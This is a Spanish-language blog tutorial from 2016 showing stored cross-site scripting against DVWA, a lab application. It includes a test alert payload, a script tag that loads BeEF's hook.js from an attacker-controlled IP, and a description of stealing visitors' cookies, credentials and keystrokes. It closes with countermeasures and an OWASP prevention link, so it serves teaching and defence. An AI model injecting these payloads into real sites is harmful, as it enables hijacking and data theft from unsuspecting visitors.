Así hackean las app webs y se roban tus datos
- 6 may 2016
- 4 Min. de lectura
En este post mostraremos las vulerabilidades de las aplicaciones Web cuando los hackers utilizan ataques de Cross Site Scripting (XSS)

Primeramente es preciso entender que es una aplicación web. Una aplicación Web se caracteriza por tener un software que opera en el sitio Web para producir contenidos dinámicos, y aplicaciones en tiempo real. Por ejemplo, son aplicaciones web las redes sociales como Facebook o Twitter, o juegos en línea como Candy Crush o Mario Bros.
Las aplicaciones web operan en base al modelo servidor/cliente. El software del servidor se ejecuta en el lado del cliente (o usuario) en los browsers (como Firefox o google chrome), a través de lenguajes como javascript. El código bien puede ejecutarse desde el lado del servidor (Server XSS), o desde el cliente (Client XSS).
En términos más fáciles, cuando vulgarmente decimos que unos “hackers han hackeado un sitio web”, generalmente también nos estamos refiriendo a que “unos hackers han hackeado una aplicación web”.
Dado que se trata de hackeo remoto, o a distancia, los ataques consisten en encontrar las vulnerabilidades en el código de las aplicaciones web. A través de estos ataques es posible ganar acceso al servidor, cambiar los contenidos del sitio web, robar información confidencial como passwords o números de tarjeta de crédito, interceptar comunicaciones, etc.
Empezaremos por uno de los ataques más comunes, el Cross-Site Scripting (o XSS). CROSS SITE SCRIPTING (XSS)
Estos ataques consisten en inyectar código malicioso en sitios web supuestamente confiables. El código es generalmente escrito en javascript. El Todo sitio web que tiene un input de datos (ej: blogs, redes sociales, comentarios), puede ser vulnerable a este a este tipo de ataques. A continuación un tutorial acerca de como se puede atacar a una aplicación web, utilizando XSS:
PASO 1. Encontrar una aplicación web vulnerable. Recuerda que es generalmente ilegal realizar ataques en cualquier sitio Web, sin tener el debido permiso. Por ello, para esta demostración utilizaré DVWA, una aplicación web creada para estudiar y experimentar. La instalaré en mi servidor web al cual llamaremos “Máquina A”. Puedes descargar DVWA desde: http://www.dvwa.co.uk/

PASO 2. Comprobar si la aplicación es vulnerable. Para ello es necesario inyectar texto en los inputs de la aplicación. Lo podemos hacer desde cualquier otra computadora en cualquier lugar del mundo. En mi caso la llamaré “MAQUINA B”. Desde la MAQUINA B, En el menú principal DVWA damos click a la página XSS(Stored):

Podemos ingresar datos de forma manual. Pero en lugar de ingresar cualquier texto, ingresamos
<script> alert (“HAS GANADO LA LOTERIA”) </script>:

Entonces, el código al ejecutarse nos mostrará una ventana creada a través del código que hemos ingresado:

Esto quiere decir que la aplicación web es insegura, y los hackers pueden manipularla gracias a javascript.
REFLEXIÓN: Pensemos en cuanto sitios web que hemos visitado nos presentan mensajes como “quieres ser millonario” o “eres el vistante # 1000”. Esos son signos típicos de que la página web que visitamos ha sido contaminada, lo que nos convierte en potenciales víctimas.
PASO 3. Interceptar las comunicaciones de quienes visiten la página web infectada. Una vez que la página ha sido infectada, los delincuentes o espías normalmente buscarán víctimas. Las víctima son los usuarios que visiten la página infectada. Para lograr este propósito, podemos utilizar la aplicación BEEF. Lo podemos descargar desde: http://beefproject.com/ . Una vez descargado, lo ejecutamos eingresamos las credenciales user:beef , passord: beef:

Beef es una herramienta especializada en ataques de Cross Site Scripting. Ahora, volvemos a ingresar código malicioso en la página vulnerable, pero esta vez será código para interceptar el browser (firefox, Internet explorer, etc) de las víctimas. El código es:
<script src= “http://192.168.124.142:3000/hook.js” types: “text/javascript”> </script>
(La dirección IP 192.168.124.142 es la dirección IP de mi MAQUINA B. Reemplázala con tu dirección IP)
De esta manera, la página ha sido contaminada y podemos interceptar a sus visitantes de manera remota, y silenciosa.

PASO 4. INTERCEPTAR DATOS Y EJECUTAR COMANDOS DESDE BEEF. Cuando la aplicación web (MAQUINA A) ya ha sido ya contaminada, puedes acceder desde tu computadora (MAQUINA B) a los eventos que sucedan en dicha página, e interceptar la información de los visitantes. Podemos revisar sus credenciales, cookies, y muchos datos relevantes:

También podemos espiar los eventos que suceden en la página contaminada, como los textos ingresados por las víctimas. En el próximo ejemplo un visitante ingresó el texto “Carla, me llamas?”:

Si accedemos a la opción del menú “commands”, BEEF nos mostrará muchas opciones para controlar y espiar a las víctimas(los visitantes de la página infectada) que van desde revisar su historial de páginas web visitadas, como se conectan a Internet:

Hasta espiarlos por el Webcam, y ejecutar comandos en sus computadoras.
MAQUINA B:

MAQUINA A:

CONTRAMEDIDAS - Procurar evitar sitios web infectados por XSS. Generalmente los sitios son infectados a propósito, y se aprovechan de los momentos de necesidad de los cibernautas. Por ejemplo, cuando quieres ver el futbol online, y buscas cualquier página que lo transmita. La mayoría de esos links estarán infectados por XSS.
- Nunca ingreses información confidencial sitios web de alto riesgo como streaming de deportes gratuitos, sitios de descargas ilegales, o de contenidos para adultos. Tampoco des click a las ventanas que aparecieren.
-En lo posible, cuando tengas que visitar sitios dudosos (como los de futbol gratis online), utiliza un computador (o una partición) que no contenga información confidencial ni datos personales. Es mejor hacerlo desde máquinas virtuales, dvds externos, o reformatear un computador viejo después de un borrado seguro.
Para desarrolladores: Sigue una guía especializada para prevenir este tipo de ataques. Acá una muy buena: https://www.owasp.org/index.php?title=XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet&setlang=es Saludos cordiales, y no olviden difundir el conocimiento de manera libre, Luis Enríquez (LLM, MD, ECSA, CEH, CHFI) https://www.owasp.org/index.php/OWASP_Knowledge_Based_Authentication_Performance_Metrics_Project http://fosslawyers.org twitter: @foss_lawyers Linkedin: https://www.linkedin.com/in/LuisEnriquezA



Comentarios